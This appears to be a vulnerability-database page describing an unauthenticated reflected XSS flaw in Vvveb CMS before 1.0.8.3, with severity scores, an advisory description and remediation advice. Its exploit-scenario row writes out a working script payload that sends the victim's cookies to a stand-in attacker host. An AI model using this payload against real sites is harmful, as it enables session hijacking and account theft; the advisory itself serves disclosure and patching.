EUVD-2026-30583Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionGitHub Advisory
Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.3, there is an unauthenticated reflected cross-site scripting (XSS) issue in the public product return form in Vvveb CMS. The customer_order_id POST parameter is inserted into the Order %s not found! error message when the order lookup fails, and that message is rendered in the frontend template without HTML escaping. As a result, attacker-controlled HTML/JavaScript executes in the submitting user's browser. This vulnerability is fixed in 1.0.8.3.
AnalysisAI
Unauthenticated reflected cross-site scripting (XSS) in Vvveb CMS versions prior to 1.0.8.3 enables attackers to execute arbitrary JavaScript in victim browsers via the public product return form. The customer_order_id parameter is reflected without sanitization in error messages when order lookups fail, allowing HTML injection. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that the target Vvveb CMS installation has the product return form feature enabled and publicly accessible, which is the default configuration for e-commerce deployments. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is moderate to significant for public-facing Vvveb CMS installations. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a malicious link or phishing page that mimics the Vvveb store's product return process. The fake form submits to the legitimate return endpoint with customer_order_id set to <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. … |
| Remediation | Upgrade to Vvveb CMS version 1.0.8.3 or later, which contains the fix for this reflected XSS vulnerability. … Detailed patch versions, workarounds, and compensating controls in full report. |
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